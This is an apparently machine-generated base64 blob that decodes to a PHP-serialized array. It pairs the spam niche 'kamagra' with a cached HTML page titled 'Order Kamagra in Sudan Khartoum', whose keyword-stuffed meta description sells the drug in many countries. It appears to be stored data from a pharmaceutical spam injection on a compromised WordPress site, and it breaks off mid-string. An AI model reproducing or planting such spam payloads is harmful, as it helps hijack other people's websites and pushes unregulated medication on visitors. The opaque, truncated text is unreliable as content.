YToyOntzOjU6Im5pY2hlIjtzOjc6ImthbWFncmEiO3M6NDoiaHRtbCI7czo4OTQwNDoiPCFkb2N0eXBlIGh0bWw+CgoKPGh0bWwgY2xhc3M9Im5vLWpzIiBsYW5nPSJlbi1VUyI+CgoJPGhlYWQ+CgkJCjxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9hcmNoaXZlIj4KPG1ldGEgY2hhcnNldD0iVVRGLTgiIC8+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0Jz52YXIgdWEgPSBuYXZpZ2F0b3IudXNlckFnZW50OyB2YXIgbWV0YSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ21ldGEnKTtpZigodWEudG9Mb3dlckNhc2UoKS5pbmRleE9mKCdhbmRyb2lkJykgPiAtMSAmJiB1YS50b0xvd2VyQ2FzZSgpLmluZGV4T2YoJ21vYmlsZScpKSB8fCAoKHVhLm1hdGNoKC9pUGhvbmUvaSkpIHx8ICh1YS5tYXRjaCgvaVBhZC9pKSkpKXsgbWV0YS5uYW1lID0gJ3ZpZXdwb3J0JzsJbWV0YS5jb250ZW50ID0gJ3RhcmdldC1kZW5zaXR5ZHBpPWRldmljZS1kcGksIHdpZHRoPWRldmljZS13aWR0aCc7IH12YXIgbSA9IGRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCdtZXRhJylbMF07IG0ucGFyZW50Tm9kZS5pbnNlcnRCZWZvcmUobWV0YSxtKTs8L3NjcmlwdD4gCQk8bWV0YSBuYW1lPSJBdXRob3IiIGNvbnRlbnQ9IkFpdFRoZW1lcy5jbHViLCBodHRwOi8vd3d3LmFpdC10aGVtZXMuY2x1YiIgLz4KCgkJPHRpdGxlPk9yZGVyIEthbWFncmEgaW4gU3VkYW4gS2hhcnRvdW08L3RpdGxlPgo8bWV0YSBuYW1lPSJkZXNjcmlwdGlvbiIgY29udGVudD0iSnVzdCBrYW1hZ3JhLiBLYW1hZ3JhIG5lZGVybGFuZC4gS2FtYWdyYSBwcmljZSAtIENhbmFkYSBQaGFybWFjeSBPbmxpbmUuIEJ1eSBLYW1hZ3JhIGluIFN1ZGFuIEtoYXJ0b3VtLiBTaG9wIEthbWFncmEgaW4gVG9nbyBMb23pLiBPcmRlciBLYW1hZ3JhIGluIFN3aXR6ZXJsYW5kIEJlcm4uIEthbWFncmEgZWlubmFobWUgZnJhdS4gU2hvcCBLYW1hZ3JhIGluIEdpYnJhbHRhciBHaWJyYWx0YXIuIFNob3AgS2FtYWdyYSBpbiBTb3V0aCBHZW9yZ2lhIGFuZCB0aGUgU291dGggU2FuZHdpY2ggSXNsYW5kcyBHcnl0dmlrZW4uIFB1cmNoYXNlIEthbWFncmEgaW4gRWN1YWRvciBRdWl0by4gS2FtYWdyYSBwYXlwYWwgYXVzdHJhbGlhLiI+CgkJPGxpbmsgcmVsPSJwcm9maWxlIiBocmVmPSJodHRwOi8vZ21wZy5vcmcveGZuLzExIiAvPgoJCTxsaW5rIHJlbD0icGluZ2JhY2siIGhyZWY9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy94bWxycGMucGhwIiAvPgoKCQk8bGluayBocmVmPSJodHRwOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vY3NzP2ZhbWlseT1Pc3dhbGQiIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIC8+CgoJCTxsaW5rIGlkPSJhaXQtc3R5bGUiIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIG1lZGlhPSJhbGwiIGhyZWY9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3RoZW1lcy9kaXJlY3Rvcnkvc3R5bGUuY3NzPzE1MDUzNTY1OTkiIC8+Cgo8bGluayByZWw9J2Rucy1wcmVmZXRjaCcgaHJlZj0nLy9tYXBzLmdvb2dsZS5jb20nIC8+CjxsaW5rIHJlbD0nZG5zLXByZWZldGNoJyBocmVmPScvL3Mudy5vcmcnIC8+CgoKCQk8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CgkJCXdpbmRvdy5fd3BlbW9qaVNldHRpbmdzID0geyJiYXNlVXJsIjoiaHR0cHM6XC9cL3Mudy5vcmdcL2ltYWdlc1wvY29yZVwvZW1vamlcLzExXC83Mng3MlwvIiwiZXh0IjoiLnBuZyIsInN2Z1VybCI6Imh0dHBzOlwvXC9zLncub3JnXC9pbWFnZXNcL2NvcmVcL2Vtb2ppXC8xMVwvc3ZnXC8iLCJzdmdFeHQiOiIuc3ZnIiwic291cmNlIjp7ImNvbmNhdGVtb2ppIjoiaHR0cDpcL1wvZnVucnVubmVyc2JlYWNoZXMudXNcL3dwLWluY2x1ZGVzXC9qc1wvd3AtZW1vamktcmVsZWFzZS5taW4uanM/dmVyPTQuOS4xMCJ9fTsKCQkJIWZ1bmN0aW9uKGEsYixjKXtmdW5jdGlvbiBkKGEsYil7dmFyIGM9U3RyaW5nLmZyb21DaGFyQ29kZTtsLmNsZWFyUmVjdCgwLDAsay53aWR0aCxrLmhlaWdodCksbC5maWxsVGV4dChjLmFwcGx5KHRoaXMsYSksMCwwKTt2YXIgZD1rLnRvRGF0YVVSTCgpO2wuY2xlYXJSZWN0KDAsMCxrLndpZHRoLGsuaGVpZ2h0KSxsLmZpbGxUZXh0KGMuYXBwbHkodGhpcyxiKSwwLDApO3ZhciBlPWsudG9EYXRhVVJMKCk7cmV0dXJuIGQ9PT1lfWZ1bmN0aW9uIGUoYSl7dmFyIGI7aWYoIWx8fCFsLmZpbGxUZXh0KXJldHVybiExO3N3aXRjaChsLnRleHRCYXNlbGluZT0idG9wIixsLmZvbnQ9IjYwMCAzMnB4IEFyaWFsIixhKXtjYXNlImZsYWciOnJldHVybiEoYj1kKFs1NTM1Niw1NjgyNiw1NTM1Niw1NjgxOV0sWzU1MzU2LDU2ODI2LDgyMDMsNTUzNTYsNTY4MTldKSkmJihiPWQoWzU1MzU2LDU3MzMyLDU2MTI4LDU2NDIzLDU2MTI4LDU2NDE4LDU2MTI4LDU2NDIxLDU2MTI4LDU2NDMwLDU2MTI4LDU2NDIzLDU2MTI4LDU2NDQ3XSxbNTUzNTYsNTczMzIsODIwMyw1NjEyOCw1NjQyMyw4MjAzLDU2MTI4LDU2NDE4LDgyMDMsNTYxMjgsNTY0MjEsODIwMyw1NjEyOCw1NjQzMCw4MjAzLDU2MTI4LDU2NDIzLDgyMDMsNTYxMjgsNTY0NDddKSwhYik7Y2FzZSJlbW9qaSI6cmV0dXJuIGI9ZChbNTUzNTgsNTY3NjAsOTc5Miw2NTAzOV0sWzU1MzU4LDU2NzYwLDgyMDMsOTc5Miw2NTAzOV0pLCFifXJldHVybiExfWZ1bmN0aW9uIGYoYSl7dmFyIGM9Yi5jcmVhdGVFbGVtZW50KCJzY3JpcHQiKTtjLnNyYz1hLGMuZGVmZXI9Yy50eXBlPSJ0ZXh0L2phdmFzY3JpcHQiLGIuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImhlYWQiKVswXS5hcHBlbmRDaGlsZChjKX12YXIgZyxoLGksaixrPWIuY3JlYXRlRWxlbWVudCgiY2FudmFzIiksbD1rLmdldENvbnRleHQmJmsuZ2V0Q29udGV4dCgiMmQiKTtmb3Ioaj1BcnJheSgiZmxhZyIsImVtb2ppIiksYy5zdXBwb3J0cz17ZXZlcnl0aGluZzohMCxldmVyeXRoaW5nRXhjZXB0RmxhZzohMH0saT0wO2k8ai5sZW5ndGg7aSsrKWMuc3VwcG9ydHNbaltpXV09ZShqW2ldKSxjLnN1cHBvcnRzLmV2ZXJ5dGhpbmc9Yy5zdXBwb3J0cy5ldmVyeXRoaW5nJiZjLnN1cHBvcnRzW2pbaV1dLCJmbGFnIiE9PWpbaV0mJihjLnN1cHBvcnRzLmV2ZXJ5dGhpbmdFeGNlcHRGbGFnPWMuc3VwcG9ydHMuZXZlcnl0aGluZ0V4Y2VwdEZsYWcmJmMuc3VwcG9ydHNbaltpXV0pO2Muc3VwcG9ydHMuZXZlcnl0aGluZ0V4Y2VwdEZsYWc9Yy5zdXBwb3J0cy5ldmVyeXRoaW5nRXhjZXB0RmxhZyYmIWMuc3VwcG9ydHMuZmxhZyxjLkRPTVJlYWR5PSExLGMucmVhZHlDYWxsYmFjaz1mdW5jdGlvbigpe2MuRE9NUmVhZHk9ITB9LGMuc3VwcG9ydHMuZXZlcnl0aGluZ3x8KGg9ZnVuY3Rpb24oKXtjLnJlYWR5Q2FsbGJhY2soKX0sYi5hZGRFdmVudExpc3RlbmVyPyhiLmFkZEV2ZW50TGlzdGVuZXIoIkRPTUNvbnRlbnRMb2FkZWQiLGgsITEpLGEuYWRkRXZlbnRMaXN0ZW5lcigibG9hZCIsaCwhMSkpOihhLmF0dGFjaEV2ZW50KCJvbmxvYWQiLGgpLGIuYXR0YWNoRXZlbnQoIm9ucmVhZHlzdGF0ZWNoYW5nZSIsZnVuY3Rpb24oKXsiY29tcGxldGUiPT09Yi5yZWFkeVN0YXRlJiZjLnJlYWR5Q2FsbGJhY2soKX0pKSxnPWMuc291cmNlfHx7fSxnLmNvbmNhdGVtb2ppP2YoZy5jb25jYXRlbW9qaSk6Zy53cGVtb2ppJiZnLnR3ZW1vamkmJihmKGcudHdlbW9qaSksZihnLndwZW1vamkpKSl9KHdpbmRvdyxkb2N1bWVudCx3aW5kb3cuX3dwZW1vamlTZXR0aW5ncyk7CgkJPC9zY3JpcHQ+CgkJPHN0eWxlIHR5cGU9InRleHQvY3NzIj4KaW1nLndwLXNtaWxleSwKaW1nLmVtb2ppIHsKCWRpc3BsYXk6IGlubGluZSAhaW1wb3J0YW50OwoJYm9yZGVyOiBub25lICFpbXBvcnRhbnQ7Cglib3gtc2hhZG93OiBub25lICFpbXBvcnRhbnQ7CgloZWlnaHQ6IDFlbSAhaW1wb3J0YW50OwoJd2lkdGg6IDFlbSAhaW1wb3J0YW50OwoJbWFyZ2luOiAwIC4wN2VtICFpbXBvcnRhbnQ7Cgl2ZXJ0aWNhbC1hbGlnbjogLTAuMWVtICFpbXBvcnRhbnQ7CgliYWNrZ3JvdW5kOiBub25lICFpbXBvcnRhbnQ7CglwYWRkaW5nOiAwICFpbXBvcnRhbnQ7Cn0KPC9zdHlsZT4KPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0nZ3RyYW5zbGF0ZS1zdHlsZS1jc3MnICBocmVmPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC9wbHVnaW5zL2d0cmFuc2xhdGUvZ3RyYW5zbGF0ZS1zdHlsZTI0LmNzcz92ZXI9NC45LjEwJyB0eXBlPSd0ZXh0L2NzcycgbWVkaWE9J2FsbCcgLz4KPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0nY29udGFjdC1mb3JtLTctY3NzJyAgaHJlZj0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvcGx1Z2lucy9jb250YWN0LWZvcm0tNy9pbmNsdWRlcy9jc3Mvc3R5bGVzLmNzcz92ZXI9NC45JyB0eXBlPSd0ZXh0L2NzcycgbWVkaWE9J2FsbCcgLz4KPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0ncnMtcGx1Z2luLXNldHRpbmdzLWNzcycgIGhyZWY9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3BsdWdpbnMvcmV2c2xpZGVyL3JzLXBsdWdpbi9jc3Mvc2V0dGluZ3MuY3NzP3Jldj00LjYuMCYjMDM4O3Zlcj00LjkuMTAnIHR5cGU9J3RleHQvY3NzJyBtZWRpYT0nYWxsJyAvPgo8c3R5bGUgaWQ9J3JzLXBsdWdpbi1zZXR0aW5ncy1pbmxpbmUtY3NzJyB0eXBlPSd0ZXh0L2Nzcyc+Ci50cC1jYXB0aW9uIGF7Y29sb3I6I2ZmNzMwMjt0ZXh0LXNoYWRvdzpub25lOy13ZWJraXQtdHJhbnNpdGlvbjphbGwgMC4ycyBlYXNlLW91dDstbW96LXRyYW5zaXRpb246YWxsIDAuMnMgZWFzZS1vdXQ7LW8tdHJhbnNpdGlvbjphbGwgMC4ycyBlYXNlLW91dDstbXMtdHJhbnNpdGlvbjphbGwgMC4ycyBlYXNlLW91dH0udHAtY2FwdGlvbiBhOmhvdmVye2NvbG9yOiNmZmE5MDJ9Cjwvc3R5bGU+CjxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J2FpdC1qcXVlcnktcHJldHR5UGhvdG8tY3NzJyAgaHJlZj0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vY3NzL3ByZXR0eVBob3RvLmNzcz92ZXI9NC45LjEwJyB0eXBlPSd0ZXh0L2NzcycgbWVkaWE9J2FsbCcgLz4KPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0nYWl0LWpxdWVyeS1mYW5jeWJveC1jc3MnICBocmVmPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9jc3MvZmFuY3lib3gvanF1ZXJ5LmZhbmN5Ym94LTEuMy40LmNzcz92ZXI9NC45LjEwJyB0eXBlPSd0ZXh0L2NzcycgbWVkaWE9J2FsbCcgLz4KPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0nYWl0LWpxdWVyeS1ob3Zlci16b29tLWNzcycgIGhyZWY9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2Nzcy9ob3Zlclpvb20uY3NzP3Zlcj00LjkuMTAnIHR5cGU9J3RleHQvY3NzJyBtZWRpYT0nYWxsJyAvPgo8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdhaXQtanF1ZXJ5LWZhbmN5Y2hlY2tib3gtY3NzJyAgaHJlZj0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vY3NzL2pxdWVyeS5mYW5jeWNoZWNrYm94Lm1pbi5jc3M/dmVyPTQuOS4xMCcgdHlwZT0ndGV4dC9jc3MnIG1lZGlhPSdhbGwnIC8+CjxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J2pxdWVyeS11aS1jc3MtY3NzJyAgaHJlZj0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vY3NzL2pxdWVyeS11aS0xLjEwLjEuY3VzdG9tLm1pbi5jc3M/dmVyPTQuOS4xMCcgdHlwZT0ndGV4dC9jc3MnIG1lZGlhPSdhbGwnIC8+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1pbmNsdWRlcy9qcy9qcXVlcnkvanF1ZXJ5LmpzP3Zlcj0xLjEyLjQnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtaW5jbHVkZXMvanMvanF1ZXJ5L2pxdWVyeS1taWdyYXRlLm1pbi5qcz92ZXI9MS40LjEnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC9wbHVnaW5zL2RpcmVjdG9yeS1leHRlbnNpb24tcGx1Z2luLy9saWJzL2Zyb250RW5kU2NyaXB0cy5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvcGx1Z2lucy9kaXJlY3RvcnktZXh0ZW5zaW9uLXBsdWdpbi8vbGlicy9qcXVlcnkuamNhcm91c2VsLm1pbi5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvcGx1Z2lucy9kaXJlY3RvcnktZXh0ZW5zaW9uLXBsdWdpbi8vbGlicy9iZl9zY3JpcHQuanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3BsdWdpbnMvZGlyZWN0b3J5LWV4dGVuc2lvbi1wbHVnaW4vL2xpYnMvc2NyaXB0LmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC9wbHVnaW5zL3JldnNsaWRlci9ycy1wbHVnaW4vanMvanF1ZXJ5LnRoZW1lcHVuY2gudG9vbHMubWluLmpzP3Jldj00LjYuMCYjMDM4O3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC9wbHVnaW5zL3JldnNsaWRlci9ycy1wbHVnaW4vanMvanF1ZXJ5LnRoZW1lcHVuY2gucmV2b2x1dGlvbi5taW4uanM/cmV2PTQuNi4wJiMwMzg7dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2pzL2xpYnMvanF1ZXJ5LmZhbmN5Y2hlY2tib3gubWluLmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9qcy9saWJzL2pxdWVyeS5odG1sNS1wbGFjZWhvbGRlci1zaGltLmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vbWFwcy5nb29nbGUuY29tL21hcHMvYXBpL2pzP2tleT1BSXphU3lEMW5oeXJKcnlIUUUwTjZPUWhrb3F3RUxCTTB4TzUwTkkmIzAzODtzZW5zb3I9ZmFsc2UmIzAzODtsYW5ndWFnZT1lbl9VUyYjMDM4O3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9qcy9saWJzL2dtYXAzLmluZm9ib3guanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2pzL2xpYnMvZ21hcDMubWluLmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9qcy9saWJzL2pxdWVyeS5pbmZpZWxkbGFiZWwuanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2pzL2xpYnMvanF1ZXJ5LnByZXR0eVBob3RvLmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9qcy9saWJzL2pxdWVyeS5mYW5jeWJveC0xLjMuNC5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vanMvbGlicy9qcXVlcnkuZWFzaW5nLTEuMy5taW4uanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2pzL2xpYnMvanF1ZXJ5Lm5pY2VzY3JvbGwubWluLmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9qcy9saWJzL2pxdWVyeS5xdWlja3NhbmQuanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2pzL2xpYnMvaG92ZXIuem9vbS5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vanMvbGlicy9qcXVlcnkuZmluaXNoZWRUeXBpbmcuanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2pzL2xpYnMvc3Bpbi5taW4uanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2pzL2xpYnMvbW9kZXJuaXpyLnRvdWNoLmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9qcy9ncmlkZ2FsbGVyeS5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vanMvcmF0aW5nLmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCc+Ci8qIDwhW0NEQVRBWyAqLwp2YXIgTXlBamF4ID0geyJhamF4dXJsIjoiaHR0cDpcL1wvZnVucnVubmVyc2JlYWNoZXMudXNcL3dwLWFkbWluXC9hZG1pbi1hamF4LnBocCIsImFqYXhub25jZSI6IjU1NmFiZGVlMjMifTsKLyogXV0+ICovCjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9qcy9zY3JpcHQuanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxsaW5rIHJlbD0naHR0cHM6Ly9hcGkudy5vcmcvJyBocmVmPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvaW5kZXgucGhwP3Jlc3Rfcm91dGU9LycgLz4KPGxpbmsgcmVsPSJFZGl0VVJJIiB0eXBlPSJhcHBsaWNhdGlvbi9yc2QreG1sIiB0aXRsZT0iUlNEIiBocmVmPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMveG1scnBjLnBocD9yc2QiIC8+CjxsaW5rIHJlbD0id2x3bWFuaWZlc3QiIHR5cGU9ImFwcGxpY2F0aW9uL3dsd21hbmlmZXN0K3htbCIgaHJlZj0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWluY2x1ZGVzL3dsd21hbmlmZXN0LnhtbCIgLz4gCjxsaW5rIHJlbD0iY2Fub25pY2FsIiBocmVmPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvP2FpdC1kaXItaXRlbS1sb2NhdGlvbj1tYXNzYWNodXNldHRzIiA+CjxsaW5rIHJlbD0nc2hvcnRsaW5rJyBocmVmPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvP2FpdC1kaXItaXRlbS1sb2NhdGlvbj1tYXNzYWNodXNldHRzJyAvPgoKCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KKGZ1bmN0aW9uKHVybCl7CglpZigvKD86Q2hyb21lXC8yNlwuMFwuMTQxMFwuNjMgU2FmYXJpXC81MzdcLjMxfFdvcmRmZW5jZVRlc3RNb25Cb3QpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKXsgcmV0dXJuOyB9Cgl2YXIgYWRkRXZlbnQgPSBmdW5jdGlvbihldnQsIGhhbmRsZXIpIHsKCQlpZiAod2luZG93LmFkZEV2ZW50TGlzdGVuZXIpIHsKCQkJZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcihldnQsIGhhbmRsZXIsIGZhbHNlKTsKCQl9IGVsc2UgaWYgKHdpbmRvdy5hdHRhY2hFdmVudCkgewoJCQlkb2N1bWVudC5hdHRhY2hFdmVudCgnb24nICsgZXZ0LCBoYW5kbGVyKTsKCQl9Cgl9OwoJdmFyIHJlbW92ZUV2ZW50ID0gZnVuY3Rpb24oZXZ0LCBoYW5kbGVyKSB7CgkJaWYgKHdpbmRvdy5yZW1vdmVFdmVudExpc3RlbmVyKSB7CgkJCWRvY3VtZW50LnJlbW92ZUV2ZW50TGlzdGVuZXIoZXZ0LCBoYW5kbGVyLCBmYWxzZSk7CgkJfSBlbHNlIGlmICh3aW5kb3cuZGV0YWNoRXZlbnQpIHsKCQkJZG9jdW1lbnQuZGV0YWNoRXZlbnQoJ29uJyArIGV2dCwgaGFuZGxlcik7CgkJfQoJfTsKCXZhciBldnRzID0gJ2NvbnRleHRtZW51IGRibGNsaWNrIGRyYWcgZHJhZ2VuZCBkcmFnZW50ZXIgZHJhZ2xlYXZlIGRyYWdvdmVyIGRyYWdzdGFydCBkcm9wIGtleWRvd24ga2V5cHJlc3Mga2V5dXAgbW91c2Vkb3duIG1vdXNlbW92ZSBtb3VzZW91dCBtb3VzZW92ZXIgbW91c2V1cCBtb3VzZXdoZWVsIHNjcm9sbCcuc3BsaXQoJyAnKTsKCXZhciBsb2dIdW1hbiA9IGZ1bmN0aW9uKCkgewoJCXZhciB3ZnNjciA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwoJCXdmc2NyLnR5cGUgPSAndGV4dC9qYXZhc2NyaXB0JzsKCQl3ZnNjci5hc3luYyA9IHRydWU7CgkJd2ZzY3Iuc3JjID0gdXJsICsgJyZyPScgKyBNYXRoLnJhbmRvbSgpOwoJCShkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnaGVhZCcpWzBdfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnYm9keScpWzBdKS5hcHBlbmRDaGlsZCh3ZnNjcik7CgkJZm9yICh2YXIgaSA9IDA7IGkgPCBldnRzLmxlbmd0aDsgaSsrKSB7CgkJCXJlbW92ZUV2ZW50KGV2dHNbaV0sIGxvZ0